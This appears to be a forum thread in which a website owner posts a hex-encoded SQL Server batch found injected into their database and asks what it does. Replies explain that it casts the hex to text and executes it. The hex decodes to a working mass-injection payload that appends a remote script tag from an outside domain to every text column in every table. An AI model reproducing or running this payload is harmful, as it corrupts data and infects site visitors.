SQL Question

[cancer10]

What does the following sql command mean?



DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029 002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020 005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F005200200073 0065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020 007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E007300200062 00200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074 007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F 007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032 003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E00200054 00610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052 004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C 004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030 002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B0040 0054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063 006F006E007600650072007400280076006100720063006800610072002800340030003000300029002C005B0027002B0040 0043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070 003A002F002F007700770077002E006100640077006F0072006400370031002E0063006F006D002F0062002E006A0073003E 003C002F007300630072006900700074003E00270027002700290020004600450054004300480020004E0045005800540020 00460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F00200040 0054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073 006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F 007200 AS NVARCHAR(4000));EXEC(@S);

[russell]

it's attempting to convert a binary string to a character string, then execute it.

don't execute it unless u know what it does.

that said, it errors out on the cast() so i didnt decode it. try

PRINT @S

[cancer10]

Someone injected this query into my db. I dont know what harm it did to my db :(

[WebJoel]

So how about you stop posting it other forums in case it does something bad, -okay? No faster way to spread a viral disease than to post it on forums and ask "what is this?".